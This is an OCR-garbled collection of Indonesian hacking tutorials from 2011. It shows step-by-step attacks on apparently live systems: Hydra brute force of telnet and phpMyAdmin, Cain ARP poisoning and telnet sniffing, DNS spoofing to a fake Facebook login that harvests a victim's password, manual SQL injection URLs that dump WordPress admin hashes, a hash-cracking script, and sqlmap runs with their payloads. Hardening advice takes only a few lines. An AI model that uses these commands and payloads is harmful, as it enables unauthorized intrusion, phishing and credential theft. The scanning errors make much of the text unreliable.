Di sini diasumsikan IP Servernya adalah 192.168.1.2 setelah kita ping dapat.

D\ >pi ng 180. 254. 70. 135

Pi ngi ng 180.254.70.135 with 32 bytes of data:

Reply from 180. 254. 70. 135:
Reply from 180. 254. 70. 135:
Reply from 180. 254. 70. 135:
Reply from 180. 254. 70. 135:

byt es=32 tinme<lns TTL=254
bytes=32 tine=2ns TTL=254
bytes=32 tine=11lns TTL=254
byt es=32 tinme<lns TTL=254

Setelah diping jalan maka kita dapat mencoba melakukan scanning dengan NMAP

C\>nnmap -v - A 180.254.70.135

Starting Nmap 5.21 ( http://nmap.org ) at 2011-10-17 15: 28 Pacific Dayli ght

Ti e

NSE: Loaded 36 scripts for scanni ng.

Initiating Ping Scan at 15:28

Scanni ng 180. 254. 70. 135 [ 4 ports]

Conpl eted Ping Scan at 15:28, 0.53s elapsed (1 total
DNS resol ution of 1 host. at
DNS resol ution of 1 host.

Initiating Parall el
Conpl eted Parall el

Initiating SYN Stealth Scan at 15:28

Scanni ng 180. 254. 70. 135 [ 1000
Di scovered open port
Di scovered open port
Di scovered open port

por ts]

15: 28

23/tcp on 180.254.70. 135
80/tcp on 180.254.70. 135
3389/tcp on 180. 254. 70. 135

host s)

at 15:28, 3.09s el apsed


http://nmap.org

Di scovered open port 21/tcp on 180.254.70.135

Conpl eted SYN Stealth Scan at 15:28, 2.34s el apsed (1000 total ports)

Disini dari scanning dengan NMAP kita mendapatkan adanya port 23 yaitu port untuk
telnet server. Dengan aktifnya Telnet Server maka kita dapat melakukan brute force ke
server Telnet dengan Hydra.

H \hydra>hydra -1 adm nistrator -P data.txt 180.254.70.135 tel net
Hydra v6.0 (c) 2011 by van Hauser / THC - use allowed only for | egal
Hydra (http://ww.thc.org) starting at 2011-10-17 15:21: 22

[ DATA] 6 tasks, 1 servers, 6 login tries (l1:1/p:6), ~1 tries per task
[ DATA] attacking service telnet on port 23

[ STATUS] attack finished for 180.254.70.135 (waiting for childs to finish)
[23][tel net] host: 180.254.70.135 1ogin: administrator password: sepakbol a
Hydra (http://ww.thc.org) finished at 2011-10-17 15:21: 26

pur poses.

Binggo, kitamendapatkan password telnetnya.

Masukkan login dan passwordnya dan kita akan mendapatkan shell dari telnet server.
Contohnya:

2% PuTTY Configuration

Categony:
[ = Sessian | Basic options for your PUTTY session
-+ Logging Specify your connection by host-namme-or 1P address
7 Teminal 1 Host Hame (or IP address)  Eat
i heboard 1180.254.70.134 [|23 |
i Bell S E
- Features i ;
|_'- i () Baw (%) Telmet () Rlogn (2 55H
i Appearance Load, zave or delete a stored session
EEhEI'\-'-II:I-LJr Saved Seszionz
Tranzlation i
Selection :
: AL - | Default Settings Load
i= Connhection
ik
e Rlogin
= 55H
Auth
;unnels Cloze window o exit:
ugs rdbways OO Mever (30 Only on clean exit
(=) (om
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Setelah kita klik Open. Masukkan login dan passwordnya.

S 180.254.70.135 - PulTY

iMelcome to Microsoft Telnet Service

login: sdwinhistrator

ipassword:

Binggo, kitamasuk ke shell server. :D

Untuk download Hydra. http://Oxa.li/files/hydra-6.0-windows.zip. Untuk cari kamusnya
untuk brute force dapat dicari sendiri di google, jikaingin buat sendiri juga boleh.
Cayooo0!

Pengamanannya jika andaingin tetap dapat dipanggil router speedynyadari luar, maka
anda dapat membuat password yang susah ditebak dengan berbagai kombinasi huruf dan
angka yang kompleks tapi tetap mudah diingat. Jika ingin lebih aman lagi yatidak perlu
membuat router speedy bisa diakses dari internet, caranya misal dengan melempar port
80 ke IP lain yang kosong atau tidak dipakai.

Sayatidak bertanggung sama sekali atas semua hal-hal yang diakibatkan oleh artikel ini.

Oleh Kurniawan — yk family code@yahoo.com



http://0xa.li/files/hydra
mailto:yk_family_code@yahoo.com

Hacking password mikrotik memanfaatkan celah
padatelnet

@
o
¥ mikron®-®

Perkembangan remote untuk administrator sudah berkembang pesat, tapi tidak menutup
kemungkinan ada administrator mikrotik yang masih menggunakan telnet untuk remote
ke mikrotiknya dengan berbagai alasannya seperti misal lebih universal, seperti dimanadi
windows sudah adatelnet clientnya yang dapat dipanggil tanpa menggunakan tool dari
luar dan sebagainya.

Penggunaan telnet pada mikrotik dapat mengakibatkan password mikrotik di sniffing.
Contoh yang penulis lakukan dalam melakukan sniffing password telnet dengan CAIN.
Setelah penulis melakukan poisoning pada | P router mikrotik dan kemudian si
administrator melakukan login ke mikrotik melalui telnet, penulis cukup masuk pada

bagian passwords lalu telnet akan tampil baris seperti dibawah ini lalu penulis lakukan
klik kanan lalu view.

_f{% Decoders |§ Metwork, |@ Sniffer |@_‘J/J Cracker ]@ Traceroute ]M oy Iﬁﬁn Wireless |r@

% Passwords Starked | Closed | Telnet server | Client
: FTR {0} ;mw“ 192, 168.1.170 |
B HTTP (198) | Wew

- TMAP (0
i LDAF ()
B PoP3 (0)
-sb SME (0]
i g Telmet {17

Remove Delete
Femave All

Tampilannya setelah dilakukan view.



I Telnet-20111018224854953-3585 - Notepad

File Edit Format View  Help
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0 TTT IIT KKK KKK
0 TTT IIT EKEK KEK
0

0 MikroTik Routercs 3.20 (c) 1999-2009 bt www . mikrotik. comy
0

Binggo, anda telah mendapatkan password mikrotik dan andatinggal login dengan
password tersebut untuk melakukan login.

Untuk mencegah terjadinyatindakan pengambilan password dengan menggunakan
sniffing maka gunakan SSH untuk remote secara console. Cayoo.

Oleh Kurniawan — yk family code@yahoo.com
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Hacking Facebook dengan DNS Spoofing (Tidak
perlu fake certificate)

Hacking ARP Poisoning dengan Cain memang jadul amat, sepertinya sudah banyak
orang mengetahui, walaupun demikian secara umum exploitasi |ebih jauh dengan
memanfaatkan DNS Spoofing belum tentu banyak yang mengetahuinya yang dimana
serangan jauh lebih baik karena andatidak perlu fake certificate yang dimanalebih
menghambat. Contohnya melakukan DNS Spoofing untuk mendapatkan password
facebook. Diasumsikan anda melakukan ARP Poisoning dengan Cain di jaringan, anda
dapat memasukkan alamat facebook.com untuk di poisoning untuk di redirect ke IP
komputer anda, disini IP komputer penyerang adalah 192.168.1.22.

Jangan lupa sebelum melakukan DNS Spoofing maka pastikan fake login facebook aktif
di web server anda. Jika andatidak mempunya web fake login facebook maka anda
dapat mencarinya di google karena sudah banyak orang yang membuat web fake login
seperti itu.

File “¥iew Configure Toaols: Help
S emBE +y RV NDEEeO®R @2 0

.:_% Decoders |§ Metywark. |$ Sniffer |@=f’ Cracker Iﬁ Tracerouke |!m ZCoL |[‘a’] Wireless ]i) Query |

@ APR. Requested DMS name I Spoofing IP | #Resg. Spoofed 1
] APR-Cert [ Faceboak, com 192,168.1.22 o
e APR-DNS

- B APR-53H-1 (D)
Y APR-HTTRS ()
T PR RDP ()
oy APR-FTRS (1)
8y APR-POPIS ()
Loy APR-TMARS (0
5y APR-LDAPS (0
&) apR-sIPS ()

& APR-DNS
[g Hasts |@ AFR IQ‘ Rauting |'§3§ Passwords I@% YalP |

Lost packets: 0%

Saat nanti si target sudah terkena DNS Spoofing yang kita lakukan maka muncul angka
seperti dibawah ini, dibawah ini artinyasi target telah membuka halaman fake login
facebook yang kita buat di web server kita.



File ‘iew Configure  Tools  Help

 Wiken Wl b CHALL CHALL | Pl ] L :
i ® e o W B, 2 I

MReab¥n @2 I

Decoders Metwark, Sniffer | @ Cracker Traceroute CCou Wireless QUETY
. g ] m Traisl

T AR Requested DNS name ] Spocfing IP /] #Resp. Spoofed ]
i-{z=z] APR-Cert (2) [l acebook. com 192.168.1.22 5
“o & APR-DMS

- P APR-55H-1 ()
LB APR-HTTRS ()
@ apr-RODP (D)
B APR-FTRS ()
By APR-POP3S (D)
8 aPR-IMAPS (03
B APR-LDARS (1)
By APR-SIPS (D)

2 APRDNT |
=0 Hosts I@l HPR ]Q’ Rowting i% Passwords I@"i WolP ]

Lost packets; 0%

Setelah diketahui telah masuk ke halaman fake login facebook maka dapat kita periksa
log yang merupakan penyimpan password jika target melakukan login di fake login
facebook miliki kita.

logs - WordPad

File Edit. Wiew. Insert Farmat  Help

Nl 8B # @+ =B B |

Em=zil: cew_saturnus@yahnn.cnm

Password: rahasiaku

IPF Address: 192.1658.1.91

Date Zubmitted: October 24, 2011, 12:40 pm




Binggo, ternyatatarget telah login dan anda mendapatkan password target.

m Filz  “iew Configure  Tools Help

Ll ehEE ¢y R MEEROERE 02 0
@% Decaders |@ Metwiork |ﬁ‘;‘ Sniffer |@f" Cracker |@ Traceraute |M coou J[ﬁ’] Wireless |Ii-’b Cuery |

iy Passwaords Timestamp | HTTP server | cliert | Lserrame | Password | URL
% FTP (0} 23/10)2011 - 22:40:32 192.168.1,22 192.165.1.91 cew_saturnus...  rahasiaky hitp://facebaok. com)
. ER HTTP (1)
= mar (o)

Selain dari log dari web fake login facebook yang ada di web server kita, kitapun dapat
mengetahui dari fitur http yang ada di program cain seperti pada tampilan diatas.

Bagaimanajikavia internet, via internet ada berbagai macam tekniknya dengan
memanfaatkan social engineering dan aplikasi yang bermasalah di komputer target misal
pada celah keamanan browser yang dimanatarget diminta untuk membuka url yang
dimana mengarah ke exploit kita, jikafile misal PDF memanfaatkan celah keamanan
pada program pembukanya dan sebagainya, shellcodenya pun bisa beragam untuk di
modifikasi misal bind shell, download & Execute dan sebagainya.

Oleh Kurniawan — yk family code@yahoo.com
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Hacking password PHPMyadmin via internet

Di sini penulis mencoba melakukan hacking password phpmyadmin dengan Hydra, disini
penulis contohkan ada target dengan nick ce_wew yang online di IRC, Kitadapat klik
nick tersebut lalu kita lakukan whois.

[p] |
[0] Info I
[r] |

_ EUAH HE  cuery
ahong
Alpha Contral b
anak_flore CTCF £
angel_ajen DCC k
anindya
jogjakarta Anita L
i To Jogjakarta BOALnet = bluesky co Lacak
Enjoy Your Stay = GAHE is CO CARI_CE  chatting umum
ch 1a9iTe?  hHansery b
L Wed Sep 87 61:44:41 caesar_jog  picksery b
ce_ajahh MemoSery k
IH_RUNAH (~TERAPI_HA@182_16.2  ce_mungil1 ..

ce untrue suka BJ

it)

Hasilnya seperti dibawah ini :

ce o wew is ™Mcew B180.254.111.31 » cew

‘ce_wew on #jogjakarta B#klass

ce wew using punch.va.us.dal.net Shovel ready since 1998%
ce_wew has been idle 1nin 13secs, signed on Sun Oct 23 B88:15:41
ice_wey End of SUHOIS list.

e wew 1s Toew 180258 1141.31 = cew

Bahasan kita saat ini dalah hacking password phpmyadmin, maka tentu dikomputer target
telah terinstall APACHE, MySQL dan PHPmyAdmin dan aktif, umumnyayang sudah
dalam 1 paket adayang namanya XAMPP untuk Windows dan LAMPP untuk linux.

Setelah |P Target telah diketahui maka kita dapat copy paste |P-nya ke browser dengan
ditambahkan /phpmyadmim.



£} Access denied - Mozilla Firefox

File  Edit ‘jew History EBookmarks Tools  Help

- c B Awe DEEpI180.254.111,31 phpryadming

Hasilnya setelah kita masukkan http://180.254.111.31/phpmyadmin adalah :

Authentication Required

A-username-and password are being requested by http:/f180:254.111.31. The site savs:
"phpkyidmin lacalhost"

User Mame: |

Passward; | |

! OF, l ’ Cancel l

Secara umum mungkin penyerang tidak terlalu menyukai jika tampil tampilan seperti
diatas karena kemungkinan phpmyadmin dipassword adalah lebih besar, tapi dapat juga
dicoba misal dengan menggunakan akses user Name root dan Password dikosongkan,
Jika cara inipun gagal maka kita dapat mencoba melakukan serangan dictionary attack
denga hydra sebagai berikut.

H \ hydra>hydra -m /phpnyadmn/ -1 root -P pass.txt 180.254.111.31 http-get
Hydra v6.0 (c) 2011 by van Hauser / THC - use allowed only for |egal purposes
Hydra (http://ww.thc.org) starting at 2011-10-23 22:07: 11

[DATA] 7 tasks, 1 servers, 7 login tries (1:1/p:7), ~1 tries per task

[ DATA] attacking service http-get on port 80

[ STATUS] attack finished for 180.254.111.31 (waiting for childs to finish)
[80] [ wwj host: 180.254.111.31 | ogi n: root password: lintash

Hydra (http://ww.thc.org) finished at 2011-10-23 22:07: 13

v Mark Cornmand Prompt

shydeahypdra —m Aphpmyadmin/ —1 oot —P pass.txt 188.254.111.31 http-get
Hydra vb.d <c? 2811 by van Hauser ~ THC — use allowed only for legal purposes.
Hydra C(httpissvuu.the.org) starting at 2011-19-23 22:87:11

[DATA] 7 tasks. 1 =zervers, 7 login tries C(Ll:1l-,p:=P>. ™ triesz per tazk

[DATA] attacking serwice http—get on port BA

[STATUS] attack finizshed for 188.254_111.31 <waiting for childs to finish?
[8A1[wuww] host: 18A.254_111.31 login: root password: lintash
Hydra Chttp: suww_theclorg? finizhed at 2011-18-23 22:87:13

Binggo diatas, password kita dapat yaitu passwordnya adalah lintas5. Dengan kita
mengetahui passwordnya maka kita dapat login ke phpmyadmin, dengan sedikit
exploitasi anda dapat mengakses shell di komputer target.

Oleh Kurniawan — yk family code@yahoo.com



http://180.254.111.31/phpmyadmin
http://www.thc.org
http://www.thc.org
mailto:yk_family_code@yahoo.com

Hacking SQL Injection manual pada Plugin
Wordpress

WordPress adalah suatu CM S open source yang cukup terkenal dan telah banyak
digunakan, wordpress merupakan penerus resmi dari b2/cafelog yang dikembangkan oleh
Michel Valdrighi. Nama WordPress diusulkan oleh Christine Selleck, teman ketua
pengembang (developer), Matt Mullenweg.

Pembahasan disini adalah serangan SQL Injection pada plugin Wordpress yang bernama
Event Registration.

Oke kita langsung sgja. Untuk memeriksa ada tidaknya bug dapat dengan memberikan
tanda petik pada url dibawah ini.

http://vpsbandung.com/event/?page_id=10& regevent_action=1

Untuk memeriksanya beri tanda petik

http://vpsbandung.com/event/?page id=10& regevent_action=1'



http://vpsbandung.com/event/?page_id=10
http://vpsbandung.com/event/?page_id=10

Warning: mysgl fetch assoc() expects parameter 1 to be resource, boolean given in
C:\xampp'\htdocs'event\wp-content'plugins'events-registration
\event_register attendees.inc.php online 24

Event Registration for -

Setelah kita mengetahui ada masalah diatas, maka kita dapat memulai dengan melakukan
order by.

http://vpsbandung.com/event/?page_id=10& regevent_action=register& event_id=1+order
+by+1

http://vpsbandung.com/event/?page id=10&regevent_action=register&event_id=1+order
+by+2

http://vpsbandung.com/event/?page_id=10& regevent_action=register& event_id=1+order
+by+3

Terus diperiksa sampai muncul error.

http://vpsbandung.com/event/?page_id=10& regevent_action=register& event_id=1+order
+by+33

http://vpsbandung.com/event/?page_id=10& regevent_action=register& event_id=1+order
+by+34

Pada order by ke 34 terjadi error. Untuk berikutnya kita lakukan Union all select dengan
melakukan set 33.

http://vpsbandung.com/event/?page _id=10& regevent_action=register& event_id=1+union
+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
,28,29,30,31,32,33

t 22 21.00

5t Name:

Perhatikan diatas muncul angka gaib yaitu 2, angka gjaib 2 dapat digunakan untuk
@@version, database() dan sebagainya.


http://vpsbandung.com/event/?page_id=10
http://vpsbandung.com/event/?page_
http://vpsbandung.com/event/?page_id=10
http://vpsbandung.com/event/?page_id=10
http://vpsbandung.com/event/?page_id=10
http://vpsbandung.com/event/?page_id=10
mailto:@@version

Contoh untuk @@version :

http://vpsbandung.com/event/?page _id=10& regevent_action=register& event_id=1+union
+all+select+1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,
22,23,24,25,26,27,28,29,30,31,32,33

First Name:

Contoh untuk database()
http://vpsbandung.com/event/?page_id=10& regevent_action=register& event_id=1+union

+all+select+1,database28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
,21,22,23,24,25,26,27,28,29,30,31,32,33

5t 22 21.00

First Name:

Contoh untuk user()

http://vpsbandung.com/event/?page_id=10&regevent_action=register&event_id=1+union
+all+select+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,
24,25,26,27,28,29,30,31,32,33

root@localhost - fost 22 21.00


mailto:@@version
http://vpsbandung.com/event/?page_id=10
mailto:@@version
http://vpsbandung.com/event/?page_id=10
http://vpsbandung.

Setelah kita mengetahui bahwa target menggunakan MySQL versi 5 maka kita dapat
menggunakan information_schema.tables.

Untuk mengetahui nama tabel

http://vpsbandung.com/event/?page_id=10& regevent_action=register& event_id=2%20U
NION%20SEL ECT%201,table name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,
21,22,23,24,25,26,27,28,29,30,31,32,33+from+information_schema.tablestwhere+table
schema=

database%628%29

Untuk mengetahui nama kolom

Hex To ASCIl Converter

TT:70:5E:75:T73:65:72

Hex:

%_'J.SEI
Ascii

| HexToASCIl || ASCII To Hex |

http://vpsbandung.com/event/?page_id=10& regevent_action=register& event_id=2%20U
NION%20SEL ECT%201,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,
19,20,21,22,23,24,25,26,27,28,29,30,31,32,33+from+information_schema.columns+wher
et

table_name=0x77705F7573657273--

Untuk mendapatkan username dan password


http://vpsb
http://vpsbandung.com/event/?page_id=10

http://vpsbandung.com/event/?page_id=10& regevent_action=register& event_id=2%20U
NION%20SEL ECT%201,concat%28user _login,0x3a,user_pass,0x3a,user_emall
%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32
33

%20from%20wp_users--

Please setup Organization in the Admin Panel!

Event Registration for

admin:$P$SBoucB8xo0kBkXdwXqOzf1431Igh&Mao:
-8

Untuk melakukan cracknya sebagai berikut :

Sebelumnyadiasumsikan anda telah menginstall A ctivePerl. Jika anda belum menginstall
maka anda dapat mendownload terlebih dahulu dan diinstall.

Setelah ActivePerl telah di download dan di install maka anda dapat copy script
Wordpress 2.7 passwordHast Attack Tool di

http://dl.packetstormsecurity .net/Crackers/wp-hash.txt, jangan khawatir walaupun ditulis
Wordpress 2.7 di script tetapi tetap bisa jalan untuk wordpress .3.x. Setelah anda copy
dan paste maka anda dapat mengubah scriptnya pada value dari variabel $hashP dengan
password terenkripsi yang kita dapat dari serangan SQL Injection tadi dan value dari
variabel $dictionary dengan file dictonary yang dapat anda buat sendiri atau mencarinya
di google.



http://vpsbandung.com/event/?page_id=10
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File Edit Format VYiew Help
S e e e e e e e

#wnrdpress 2.7 PasswordHash attack Tool

#IT is based in "pPortable PHF password hashing
framework"

#for wordpress 2.7

#autor: netsoul |
#Thanks to waraxe and mlcrOn u
#Contact: netsoul2[atlgmail.com

#ALTG FPARAMNA — PARAGUAY

in

###########

=

#! Jusr/bin/perl -w

use strict;

use Digest::MD5 gw(md5 md5_hex);
use List::util gw(min);

my ShashP = "$PIEQUCBExXOkEkXdwxqozfl431Igh8jMal’; #

12345

my S$dictionary = ‘mydic.txt’; # Put a dictionary
my $php_version = '53'; # Don’t modify if you don’t
know it

Lebih jelasnya seperti diatas, jika sudah diubah dan simpan, maka jalankan file perl
diatas seperti dibawah ini.

i

EX Command Prompt | [EL |ﬁ?—]

C:sFPerlshiniper]l wphack.pl
Current Password: baseballe
assword FOUMD: bhasehall

C:sPerlshin?

=
Binggo password login wordpress didapat yaitu passwordnya baseball, tinggal anda login
ke wordpress untuk masuk ke halaman admin.

Oleh Kurniawan - yk family code@yahoo.com
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Hacking SQL Injection pada suatu CM S dengan
SQLmap

A SQL Injection Tool

sqlmap

Di artikel sebelumnya penulis memberikan tutorial hacking SQL Injection secara manual,
disini penulis memberikan tutorial menggunakan tool. Kita sebenarnya dapat
menggunakan Havij, karena penggunaan cepat dan muda membuat penulis rasanya tidak
seru jika hanya begitu simple.

Di sini penulis akan melakukan hacking dengan menggunakan SQL map padatargetnya
adalah CMSjaraversi 1.6.

Kita dapat mencoba pertama-tama untuk mengetahui option-option dalam menggunakan
SQLmap, cukup ketik python sgimap.py -h lalu enter disitu akan muncul option-
optionnyayang dapat digunakan sesuai dengan kebutuhan.

Ok, kita langsung mencoba prakteknya, untuk awal kita melakukan route map dahulu
dengan melakukan fetch banner.

C:\'sql nap\ sql map>pyt hon sql map.py -u "http://180.254.99. 68/ web/ vi ew. php?i d=1" -
-r
andom agent --threads 10 --banner

sql map/ 0.9 - autonmati c SQL injection and database takeover t ool
http: //sql map. sour cef or ge. net

[*] starting at: 06:28:08

[06:28:08] [INFQ fetched random HTTP User-Agent header fromfile

" C \sql map\sql

map\t xt\user-agents.txt': Mzilla/5.0 (X11; U; Linux i686; de; rv:1.9.2. 10)
Geck

0/ 20100914 SUSE/ 3.6.10-0.3.1 Firefox/3.6.10

[06:28:08] [INFQ using 'C\sql nap\sql nap\out put\ 180. 254. 99. 68\ sessi on' as
sessi 0

nfile


http://sqlmap.sourceforge.net

[06:28:08] [INFQ resunming injection data fromsession file

[06:28:08] [INFQ resum ng back-end DBVMB 'nysql 5.0° fromsession file
[06:28:08] [INFQ testing connection to the target url

[06:28:29] [CRITICAL] unable to connect to the target url or proxy, sqlmap is
go

ing to retry the request

sqgl map identified the followi ng injection points with a total of 0 HTTP(s)
reque

sts:

Pl ace: GET

Paranmeter: id

Type: bool ean-based blind

Title: AND bool ean-based blind - WHERE or HAVI NG cl ause

Payl oad: id=1'" AND 1748=1748 AND 'rjlZ ='rjlZ

Type: error-based

Title: MYSQL >= 5.0 AND error-based - WHERE or HAVI NG cl ause

Payl oad: id=1' AND (SELECT 1828 FROM SELECT COUNT(*), CONCAT( CHAR( 58, 119, 101,
115, 58) , ( SELECT ( CASE WHEN (1828=1828) THEN 1 ELSE 0

END)) , CHAR(58, 111, 104, 103, 5

8), FLOOR( RAND(0) *2) ) x FROM i nformati on_schena.tabl es GROUP BY x)a) AND
"VSIx'='V

Sl x

Type: UN ON query

Title: MySQL UNION query (NULL) - 1 to 10 col ums

Payl oad: id=-9318" UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, CONC
AT(CHAR(58, 119, 101, 115, 58), | FNULL( CAST( CHAR( 115, 119, 81, 71, 68, 119, 120, 102, 119, 12
0

) AS CHAR), CHAR(32)), CHAR(58, 111, 104, 103, 58))# AND ' gl py' =' gl py

[06:28:31] [INFQ the back-end DBMS is M/SQL
[06:28:31] [INFQ fetching banner

[06:28:31] [INFQ read fromfile

' C:\'sql map\ sql nap\ out put\ 180. 254. 99. 68\ sessi on' :

5. 0. 51b-communi ty

web server operating system Wndows

web application technol ogy: PHP 5.2.6, Apache 2.2.9
back- end DBM5: MySQ 5.0

banner: '5.0.51b-comunity’

[06:28:31] [INFQ Fetched data |ogged to text files under
" C \sql nap\sql nap\ out p
ut\ 180. 254. 99. 68"

[*] shutting down at: O06:28:31
C:.\ sql nap\ sql nap>
Dari fetch banner diatas kita mengetahui informasi tentang server.

Langkah berikutnya kita melakukan analisis user dan domsnya.

C:\sgimap\sglmap>python sqlmap.py -u "http://180.254.99.68/web/view.php2d=1" --r
andom-agent --threads 10 --current-user --current-db
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sqlmap/0.9 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net

[*] starting at: 06:33:34

[06:33:34] [INFQ] fetched random HT TP User-Agent header from file 'C:\sglmap\sql
map\txt\user-agents.txt': Opera/9.52 (Macintosh; PPC Mac OS X; U; fr)

[06:33:34] [INFQ] using 'C:\sglmap\sglmap\output\180.254.99.68\session’ as sessio
nfile

[06:33:34] [INFO] resuming injection data from session file

[06:33:34] [INFO] resuming back-end DBMS 'mysqgl 5.0' from session file
[06:33:34] [INFQ] testing connection to the target url

[06:33:55] [CRITICAL] unable to connect to the target url or proxy, sglmap is go
ing to retry the request

sqlmap identified the following injection points with atotal of 0 HTTP(s) reque
sts:

Place: GET

Parameter: id

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=1" AND 1748=1748 AND 'rjIZ'="rjlZ

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause

Payload: id=1' AND (SELECT 1828 FROM(SELECT COUNT (*),CONCAT(CHAR(58,119,101,
115,58),(SELECT (CASE WHEN (1828=1828) THEN 1 ELSE 0 END)),CHAR(58,111,104,103,5
8),FLOOR(RAND(0)* 2))x FROM information_schematables GROUP BY x)a) AND 'VSIxX'='V
SIx

Type: UNION query

Title: MySQL UNION query (NULL) - 1 to 10 columns

Payload: id=-9318 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, CONC
AT(CHAR(58,119,101,115,58),IFNUL L(CAST(CHAR(115,119,81,71,68,119,120,102,119,120

) AS CHAR),CHAR(32)),CHAR(58,111,104,103,58))}# AND 'qlpy'="qglpy

[06:33:57] [INFQ] the back-end DBMS is MySQL
web server operating system: Windows

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL 5.0

[06:33:57] [INFO] fetching current user

current user:  'root@locahost'

[06:33:58] [INFO] fetching current database
current database:  'web'

[06:33:58] [INFO] Fetched data logged to text files under 'C:\sqlmap\sglmap\outp
ut\180.254.99.68

[*] shutting down at: 06:33:58
C:\sglmap\sqlmap>
Kita mendapatkan user yang menghandle dbms tersebut.

Selanjutnya kita akan menampilkan daftar database yang ada diserver, perintahnya


http://sqlmap.sourceforge.net
mailto:root@localhost

C:\'sql nap\ sql map>pyt hon sql map.py -u "http://180.254.99. 68/ web/ vi ew. php?i d=1" -
-r
andom agent --threads 10 --dbs

sql map/ 0.9 - automati c SQL injection and database takeover t ool
http: //sql map. sour cef or ge. net

[*] starting at: 06:36:58

[06:36:58] [INFQ fetched random HTTP User-Agent header fromfile

"C\sql map\sql

map\t xt\user-agents.txt': Mgzilla/4.0 (conpatible; MSIE 8.0; Xl1; Linux x86_64;
de) Opera 10. 62

[06:36:58] [INFQ using 'C\sql nap\sql map\out put\ 180. 254. 99. 68\ sessi on' as
sessi 0

nfile

[06:36:58] [INFQ resunming injection data fromsession file

[06:36:58] [INFQ resum ng back-end DBVMB 'nysql 5.0° fromsession file
[06:36:58] [INFQ testing connection to the target url

[06:37:19] [CRITICAL] unable to connect to the target url or proxy, sqlmap is
go

ing to retry the request

sqgl map identified the followi ng injection points with a total of 0 HTTP(s)
reque

sts:

Pl ace: GET

Paraneter: id

Type: bool ean-based blind

Title: AND bool ean-based blind - WHERE or HAVI NG cl ause

Payl oad: id=1'" AND 1748=1748 AND 'rjlZ ='rjlZ

Type: error-based

Title: M\SQL >= 5.0 AND error-based - WHERE or HAVI NG cl ause

Payl oad: id=1'" AND (SELECT 1828 FROM SELECT COUNT(*), CONCAT( CHAR( 58, 119, 101,
115, 58), ( SELECT ( CASE WHEN (1828=1828) THEN 1 ELSE 0

END) ) , CHAR(58, 111, 104, 103, 5

8), FLOOR( RAND(0) *2) ) x FROM i nformati on_schena.tabl es GROUP BY x)a) AND
"VSIx'='V

Sl x

Type: UN ON query

Title: MySQL UNION query (NULL) - 1 to 10 col ums

Payl oad: id=-9318" UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, CONC
AT(CHAR(58, 119, 101, 115, 58), | FNULL( CAST( CHAR( 115, 119, 81, 71, 68, 119, 120, 102, 119, 12
0

) AS CHAR), CHAR(32)), CHAR(58, 111, 104, 103, 58))# AND ' gl py' =' gl py

[06:37:24] [INFQ the back-end DBMS is M/SQL

web server operating system Wndows

web application technol ogy: PHP 5.2.6, Apache 2.2.9
back- end DBM5: MySQ 5.0

[06:37:24] [I NFQ fetching database nanes
[06:37:25] [INFQ read fromfile

' C:\'sql map\ sql nap\ out put\ 180. 254. 99. 68\ sessi on':

i nformati on_schemn, bl og2, cdcol, dodol, jcowx, nypc, nysql, phpnyadmn, social
, test, web, webauth

avai | abl e dat abases [ 12]:

[*] blog2

[*] cdcol


http://180.254.99.68/web/view.php?id=1
http://sqlmap.sourceforge.net

dodol

i nformati on_schemn
j cowx

nmypc

nmysql

phpnyadm n

soci al

t est

web

webaut h

F— — — — — — — — — —
* 0% ok 2k 2k X X X Xk
[ S S S S S S S—)

[06:37:25] [INFQ Fetched data |ogged to text files under
" C \sql nap\ sql nap\ out p
ut\ 180. 254. 99. 68"

[*] shutting down at: O06:37:25
C:.\ sql nap\ sql nap>

Ternyata target mempunyai database yang cukup banyak, kita tetap padatarget kitayaitu
database web.

C:\'sql map\ sql map>pyt hon sql map.py -u "http://180.254.99. 68/ web/ vi ew. php?i d=1" -
-r
andom agent --threads 10 -D web --tables

sql map/ 0.9 - automati ¢ SQL injection and database takeover t ool
http: //sql map. sour cef or ge. net

[*] starting at: 06:41:40

[06:41:40] [INFQ fetched random HTTP User-Agent header fromfile

"C \sql map\sql

map\t xt\user-agents.txt': Mzilla/5.0 (X11; U; Linux x86_64; zh-TW
rv:1.9.0.13)

Gecko/ 2009080315 Wountu/9.04 (jaunty) Firefox/3.0.13

[06:41:41] [INFQ using ' C\sql map\sql map\out put\ 180. 254. 99. 68\ sessi on' as
sessi 0

nfile

[06:41:41] [INFQ resunming injection data fromsession file

[06:41:41] [INFQ resum ng back-end DBVMB 'nysqgl 5.0 fromsession file
[06:41:41] [INFQ testing connection to the target url

[06:42:02] [CRITICAL] unable to connect to the target url or proxy, sqlmap is
go

ing to retry the request

sqgl map identified the followi ng injection points with a total of 0 HTTP(s)
reque

sts:

Pl ace: GET

Paraneter: id

Type: bool ean-based blind

Title: AND bool ean-based blind - WHERE or HAVI NG cl ause

Payl oad: id=1'" AND 1748=1748 AND 'rjlZ ='rjlZ

Type: error-based

Title: MYSQL >= 5.0 AND error-based - WHERE or HAVI NG cl ause

Payl oad: id=1' AND (SELECT 1828 FROM SELECT COUNT(*), CONCAT( CHAR( 58, 119, 101,
115, 58) , ( SELECT ( CASE WHEN (1828=1828) THEN 1 ELSE 0


http://180.254.99.68/web/view.php?id=1
http://sqlmap.sourceforge.net

END) ) , CHAR(58, 111, 104, 103, 5

8), FLOOR( RAND(0) *2) ) x FROM i nformati on_schena.tabl es GROUP BY x)a) AND

"VSIx'="V
Sl x

Type: UN ON query
Title: MySQL UNION query (NULL) - 1 to 10 col ums

Payl oad: id=-9318" UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, CONC
